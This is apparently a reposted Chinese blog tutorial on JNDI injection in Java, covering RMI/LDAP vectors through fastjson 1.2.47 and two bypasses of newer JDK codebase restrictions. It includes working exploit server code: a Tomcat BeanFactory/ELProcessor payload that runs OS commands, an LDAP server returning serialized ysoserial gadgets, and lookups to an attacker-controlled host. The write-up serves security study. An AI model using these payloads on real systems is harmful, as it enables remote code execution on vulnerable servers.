主頁 >  其他 > JNDI注入利用原理及繞過高版本JDK限制

JNDI注入利用原理及繞過高版本JDK限制

2021-11-08 09:22:57 其他

文章目錄

  • 前言
  • JNDI 101
    • 什么是JNDI
    • 使用JNDI的好處
    • 幾個簡單的JNDI代碼示例
      • 1、使用JNDI操作RMI
      • 2、使用JNDI操作LDAP
    • JNDI動態協議轉換
    • JNDI Naming References
  • JNDI 注入利用
    • RMI向量
    • LDAP向量
    • 其他向量
    • 繞過高版本JDK限制
      • 方式1、利用本地Class作為JNDI Reference Factory
      • 方式2、LDAP Server回傳序列化資料,觸發本地反序列化Gadget
  • Reference

前言

關于JNDI注入的討論和研究,起源于國外的安全研究員@pwntester在2016年Blackhat的一個議題:<A Journey from JNDI/LDAP operation to remote code execution dream> (參考[1]).

本文是筆者之前學習JNDI注入原理的記錄,因為博客遷移,以及最近進行Java漏洞攻防方面的知識回顧和梳理,遂在之前舊博客的基礎上進行補充,內容包括JNDI注入原理,以及在Tomcat環境下如何繞過高版本JDK的限制進行利用,

JNDI 101

什么是JNDI

JNDI(Java Naming Directory Interface) 是Java提供的一個通用介面,使用它可以與各種不同的命名服務(Naming Service)和目錄服務(Directory Service)進行互動,比如RMI(Remote Method Invocation),LDAP(Lightweight Directory Access Protocol),Active Directory,DNS,CORBA(Common Object Request Broker Architecture)等,

其中Naming Service 是物件和名稱系結在一起,然后可以通過名稱去查找相應的物件,

而Directory Service是一種特殊的Naming Service,它允許存盤和查找Directory物件,Directory物件和一般的物件不同在于它可以將屬性和物件相關聯,

官方提供的JNDI 架構圖如下:
在這里插入圖片描述

使用JNDI的好處

JNDI自身并不區分客戶端和服務器端,也不具備遠程能力,但是被其協同的一些其他應用一般都具備遠程能力,JNDI在客戶端和服務器端都能夠進行一些作業,客戶端上主要是進行各種訪問,查詢,搜索,而服務器端主要進行的是幫助管理配置,也就是各種bind操作,比如在RMI服務器端上可以不直接使用Registry進行bind操作,而是使用JNDI統一管理,當然JNDI底層應該還是呼叫的Registry進行bind,但好處JNDI提供的是統一的配置介面;在客戶端也可以直接通過類似URL的形式來訪問目標服務,可以看后面提到的JNDI動態協議轉換,把RMI換成其他的例如LDAP、CORBA等也是同樣的道理,

另外,如上圖的JNDI分層結構中,對SPI層和Naming Manager層,JVM在驗證從何處加載遠程類時的行為是不同,換言之,JVM對于從遠程加載類有兩種不同的安全級別,分別是SPI級別和Naming Manager級別,

在SPI級別中,如果JVM允許從遠程加載類,需要根據不同的服務提供者(如RMI、LDAP、CORBA)來決定是否強制安裝Security Manager安全管理器,具體條件如下表:
在這里插入圖片描述
但是, Naming Manager層放寬了安全限制,解碼JNDI命名參考時,始終允許從遠程代碼庫加載類,而沒有JVM選項來禁用它,并且不需要強制安裝任何安全管理器,這使攻擊者可以利用特定的情況來遠程執行自己的代碼,

幾個簡單的JNDI代碼示例

1、使用JNDI操作RMI

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);

//將名稱refObj與一個物件系結,這里底層也是呼叫的rmi的registry去系結
ctx.bind("refObj", new RefObject());

//通過名稱查找物件
ctx.lookup("refObj");

2、使用JNDI操作LDAP

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

//通過名稱查找遠程物件,假設遠程服務器已經將一個遠程物件與名稱cn=foo,dc=test,dc=org系結了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI動態協議轉換

上面的兩個例子都手動設定了對應服務的工廠以及對應服務的Context.PROVIDER_URL,但是JNDI是能夠進行動態協議轉換的,
如:

Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");

上面沒有設定對應服務的Context.INITIAL_CONTEXT_FACTORY以及Context.PROVIDER_URL,JNDI根據傳遞的URL協議自動轉換與設定了對應的Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL

JNDI Naming References

為了在命名服務或目錄服務中系結Java物件,可以使用Java序列化來傳輸物件,但有時候不太合適,比如Java物件較大的情況,因此JNDI定義了命名參考(Naming References),后面直接簡稱參考(References),這樣物件就可以通過系結一個可以被命名管理器(Naming Manager)解碼并決議為原始物件的參考,間接地存盤在命名或目錄服務中,

參考由Reference類來表示,它由地址(RefAddress)的有序串列和所參考物件的資訊組成,而每個地址包含了如何構造對應的物件的資訊,包括參考物件的Java類名,以及用于創建物件的ObjectFactory類的名稱和位置,

Reference可以使用ObjectFactory來構造物件,當使用lookup()方法查找物件時,Reference將使用提供的ObjectFactory類的加載地址來加載ObjectFactory類,ObjectFactory類將構造出需要的物件,可以從遠程加載地址來加載ObjectFactory類,這是攻擊者關注的點,

Reference reference = new Reference("refClassName","FactoryClassName",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("refObj", wrapper);

JNDI 注入利用

有了前面的基礎知識,再來看看如何利用JNDI注入來實作RCE,

前面說到,存盤在命名服務或目錄服務的Reference參考可以使用ObjectFactory來構造物件,而Reference可以根據指定的加載地址去加載遠程的ObjectFactory類,

假如lookup()去查詢的RMI/LDAP服務器是一個惡意的服務器,該惡意服務器會回傳一個Reference物件,這個Reference物件會根據攻擊者指定的地址去遠程加載一個惡意的ObjectFactory類,從而使得這個ObjectFactory類中的惡意代碼被執行,

不管是lookup查詢的是RMI服務還是LDAP服務,整個JNDI注入利用程序都可以歸結如下:

  • (1) 目標程式呼叫InitialContext#lookup(String)進行JNDI操作,且引數是用戶可控,攻擊者傳入URL指向自己的惡意RMI/LDAP服務器;
  • (2) 惡意RMI/LDAP服務器向目標程式回傳一個惡意的JNDI參考Reference,該Reference物件包含了攻擊者指定的惡意ObjectFactory類的加載地址;
  • (3) 目標程式解碼該JNDI Reference,得到惡意ObjectFactory類的加載地址;
  • (4) 目標程式從攻擊者指定的遠程加載地址獲取惡意ObjectFactory類的class位元組碼;
  • (5) 實體化獲取到的惡意ObjectFactory類,ObjectFactory類中的惡意代碼得以執行,

如下圖:
在這里插入圖片描述
下面以fastjson <= 1.2.47的反序列化RCE漏洞為例,通過原始碼除錯的方式加深對JNDI注入利用的理解,

環境:
(1) 基于Springboot搭建的簡單web程式;
(2) JDK版本:8u101
(3) fastjson的版本為1.2.47
(4) 使用marshalsec工具快速啟動RMILDAP服務.
(5) 使用Python快速啟動HTTP服務,用來托管惡意ObjectFactory類,

以下GIF圖以RMI向量為例,演示整個攻擊的程序:
在這里插入圖片描述
下面對RMI/LDAP向量分別進行原始碼除錯,

RMI向量

使用Burpsuite向目標程式發送fastjson的exploit后,首先來到InitialContext#lookup(String),引數是exploit中指定的rmi://192.168.3.36:8085/Exploit
在這里插入圖片描述
繼續往下走,會在RegistryContext#lookup(Name)中向惡意RMI服務器發起查詢請求,然后將請求得到的JNDI參考物件保存到變數var2中,這個JNDI參考物件其實是ReferenceWrapper,它是對Reference物件的封裝,然后將var2傳入RegistryContext#decodeObject()對JNDI參考進行解碼,從ReferenceWrapper物件中獲取Reference物件,
在這里插入圖片描述
在這里插入圖片描述
繼續往下走,會在NamingManager#getObjectInstance()中,呼叫NamingManager#getObjectFactoryFromReference() 加載ObjectFactory類,
在這里插入圖片描述
來看看NamingManager#getObjectFactoryFromReference()是如何實作的:
在這里插入圖片描述
可以看到,會呼叫VersionHelper12#loadClass(String className, String codebase)方法去遠程地址加載惡意的ObjectFactory類,VersionHelper12#loadClass()實際上呼叫的就是Class.forName(),使用的類加載器是URLClassLoader
在這里插入圖片描述
在這里插入圖片描述
再回過頭看NamingManager#getObjectFactoryFromReference(),遠程獲取到ObjectFactory類的位元組碼后,會呼叫newInstance()方法實體化物件,然后將ObjectFactory物件回傳,回傳后,在NamingManager#getObjectInstance()中,會呼叫ObjectFactory#getObjectInstance()方法構造所要查詢的原始物件并回傳,

因此,我們的惡意代碼可以寫在以下三個地方:

  • (1) ObjectFactory類的靜態代碼塊;
  • (2) ObjectFactory類的構造方法;
  • (3) ObjectFactory#getObjectInstance()方法中,
  • 這三種方式,ObjectFactory類的名字均可隨意指定,但方式(3)需要你的類實作javax.naming.spi.ObjectFactory介面,

整個利用程序的主要呼叫堆疊如下:

InitialContext#lookup()
  RegistryContext#lookup()
    RegistryContext#decodeObject()
      NamingManager#getObjectInstance()
          objectfactory = NamingManager#getObjectFactoryFromReference()
                  Class#newInstance()  //-->惡意代碼被執行
     或:   objectfactory#getObjectInstance()  //-->惡意代碼被執行

LDAP向量

LDAP向量的話,只是lookup時背景關系使用了不同的背景關系物件,處理ldap查詢的細節不同而已,整個JNDI注入利用流程還是一樣的,所以這里就不細說了,

整個利用程序的主要呼叫堆疊如下:

InitialContext#lookup()
  LdapCtx#c_lookup()
    Obj#decodeObject()
    DirectoryManager#getObjectInstance()
      objectfactory = NamingManager#getObjectFactoryFromReference()
                  Class#newInstance()  //-->惡意代碼被執行
 或:  objectfactory#getObjectInstance()  //-->惡意代碼被執行

其他向量

更多其他攻擊向量詳見<A Journey from JNDI/LDAP operation to remote code execution dream> (參考[1]),
平時代碼審計挖洞的時候,要留意這些地方,

繞過高版本JDK限制

要注意的是,針對JNDI注入,后續的JDK版本,先后對RMI/LDAP兩個攻擊向量做了默認情況的限制:

  • Oracle JDK 8u121, 7u131, 6u141及以后的版本,為了限制RMI協議的JNDI利用,將系統屬性com.sun.jndi.rmi.object.trustURLCodebase的默認值設定為false,即默認不允許RMI從遠程地址加載objectfactory類,

Changelog:

JDK 6u141: http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
JDK 7u131: http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
JDK 8u121: http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html

com.sun.jndi.rmi.registry.RegistryContext#decodeObject()方法中會做判斷:
在這里插入圖片描述

  • Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,為了限制LDAP協議的JNDI利用,將系統屬性com.sun.jndi.ldap.object.trustURLCodebase的默認值設定為false,即默認不允許LDAP從遠程地址加載objectfactory類,

Changelog:

JDK 8u191: https://www.oracle.com/java/technologies/javase/8u191-relnotes.html

com.sun.naming.internal.VersionHelper12#loadClass()方法中會做判斷:
在這里插入圖片描述在這里插入圖片描述
換言之,前面討論的JNDI注入利用,在后續版本的JDK中,默認情況下都已失效,那么有沒有辦法繞過高版本JDK的限制,使JNDI注入再次生效呢?

方式1、利用本地Class作為JNDI Reference Factory

安全研究員@Michael Stepankin在文章< Exploiting JNDI Injections in Java> (參考[2])中給出了這種在Tomcat環境下可行的方法,

雖然高版本JDK默認情況下不允許JNDI Reference從遠程地址加載ObjectFactory類,但仍舊可以加載一個存在于本地環境classpath的ObjectFactory類,

以RMI向量為例,查看RegistryContext#decodeObject(),回傳的Reference物件中,只要遠程加載地址factoryClassLocationnull時,便會進入NamingManager.getObjectInstance()加載指定的本地ObjectFactory類,關鍵代碼如下:
在這里插入圖片描述
在這里插入圖片描述在這里插入圖片描述
因此,這個本地classpath環境里的ObjectFactory類,需要滿足以下條件:

  • (1) 有無參構造方法;
  • (2) 實作了javax.naming.spi.ObjectFactory介面,同時實作了該介面的getObjectInstance()方法,并且在getObjectInstance()方法中,會通過Reference中的屬性可能會作一些危險的操作,

Tomcat里的org.apache.naming.factor.BeanFactory類就滿足上述條件,在BeanFactory#getObjectInstance()方法里,會通過反射機制去創建任意的Java bean物件,并呼叫該bean物件的所有屬性的setter方法對其屬性進行賦值,而且bean的類名、屬性和屬性值都來自可被攻擊者控制的Reference物件,

另外,非常有意思的是,在BeanFactory#getObjectInstance()方法的邏輯里,可以根據ReferenceforceString屬性,來強制將bean物件某個屬性的setter方法名指定為非setXXX(),舉個例子,假設攻擊者將ReferenceforceString屬性設定為x=eval,那么bean物件的x屬性的setter方法名就會變成eval

因為BeanFactory#getObjectInstance()的代碼比較長,這里就不貼了,有興趣的讀者自行查閱原始碼,很有意思,

再根據BeanFactory#getObjectInstance()方法里的邏輯,要想實作執行惡意代碼的目的,我們需要找到一個Java bean,這個bean類得具有public型別的無參構造方法,還得存在一個public型別的成員方法且引數只有一個,型別為String,關鍵這個成員方法還得執行危險操作,

同樣也是Tomcat環境下的javax.el.ELProcessor類就符合上述要求,關鍵ELProcessor#eval(String)方法可以把傳入的字串作為Java EL運算式去執行,

因此,筆者在marshalsec工具里新建了一個RMI服務類RMIRefServer_BypassHighJDK,在RMIRefServer類的基礎上進行修改,關鍵部分代碼如下,主要就是回傳的Reference物件的修改:

ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);

//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef rref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
rref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
String expr1 =  "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec([";
String expr2 = "])\")";

String cmdArrStr = "";
for (int i = 0; i < this.cmdArray.length; i++) {
    if (i != this.cmdArray.length - 1) {
        cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "',";
    } else {
        cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "'";
    }
 }

String expr = expr1 + cmdArrStr + expr2;
System.out.println("expr=" + expr);
rref.add(new StringRefAddr("x", expr));
Reflections.setFieldValue(rw, "wrappee", rref);

由于高版本JDK,對于LDAP/RMI的限制是一樣的,所以這里為了簡單起見,就拿RMI服務為例進行修改,

利用這種方式繞過高版本JDK進行JNDI注入的攻擊演示如下GIF圖:
在這里插入圖片描述
其實還可以舉一反三,找找其他常見的Java Web環境是否還存在這樣的ObjectFactory類,比如Jetty、Weblogic、JBoss、Resin等,隨著Springboot的大行其道,內嵌Tomcat還是最常見的,

方式2、LDAP Server回傳序列化資料,觸發本地反序列化Gadget

LDAP目錄服務,除了可以存盤JNDI Reference物件,還可以存盤Java序列化物件,所以我們的LDAP Server可以回傳惡意的序列化物件給目標程式,觸發本地的反序列化Gadget來實作RCE,

下面紅框內的代碼,表示目標程式對LDAP Serverlookup()查詢操作時,解碼物件的程序中,如果發現LDAP Server回傳的是一段Java序列化的資料,則進行Java反序列化操作,
在這里插入圖片描述在這里插入圖片描述
所以可以在marshalsec專案的LDAPRefServer的基礎上,創建新的LDAP Server類LDAPRefServer_BypassHighJDK,關鍵代碼如下:

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
    URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
    System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
    e.addAttribute("javaClassName", "foo");
    String cbstring = this.codebase.toString();
    int refPos = cbstring.indexOf('#');
    if ( refPos > 0 ) {
         cbstring = cbstring.substring(0, refPos);
    }
//  e.addAttribute("javaCodeBase", cbstring);
//  e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
//  e.addAttribute("javaFactory", this.codebase.getRef());

   //傳入的是ysoserial生成的序列化payload
   e.addAttribute("javaSerializedData", Base64.getDecoder().decode(this.payloadSerialBase64));

   result.sendSearchEntry(e);
   result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

在上面基于Springboot的fastjson應用中添加commons-collections:3.2.1依賴包,使用的JDK版本為8u201,重新編譯打包,運行,

攻擊演示如下:
在這里插入圖片描述

這里一開始使用ysoserial CommonsCollections的利用鏈利用失敗,除錯的時候發現報錯,提示資訊如下:Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
但我在目標環境確實參考的commons-collections的版本是3.2.1,這個針對反序列化的修復是在3.2.2版本才加入的,所以很疑惑為什么會利用不成功,

后來我從IDEA的報錯資訊中的方法呼叫堆疊點進報錯的代碼檔案,發現類檔案并不是commons-collections包里的,而是位于openjpa-all這個依賴包里(這個依賴包是我以前測驗其他程式的時候引入的,忘記去掉了…囧…),原來,openjpa-all這個依賴包的代碼里,包含了commons-collections修復版本的類給加進去了,如圖:
在這里插入圖片描述
所以在反序列化我們的payload的時候,目標程式就去這個依賴包里找對應的類,所以導致利用失敗,把openjpa-all依賴包去掉即可,
在這里插入圖片描述

Reference

[1] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
[2] https://www.veracode.com/blog/research/exploiting-jndi-injections-java
[3] https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/352111.html

標籤:其他

上一篇:CTF訓練之路2--ctfshow內部賽

下一篇:dc-4靶機滲透記錄

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more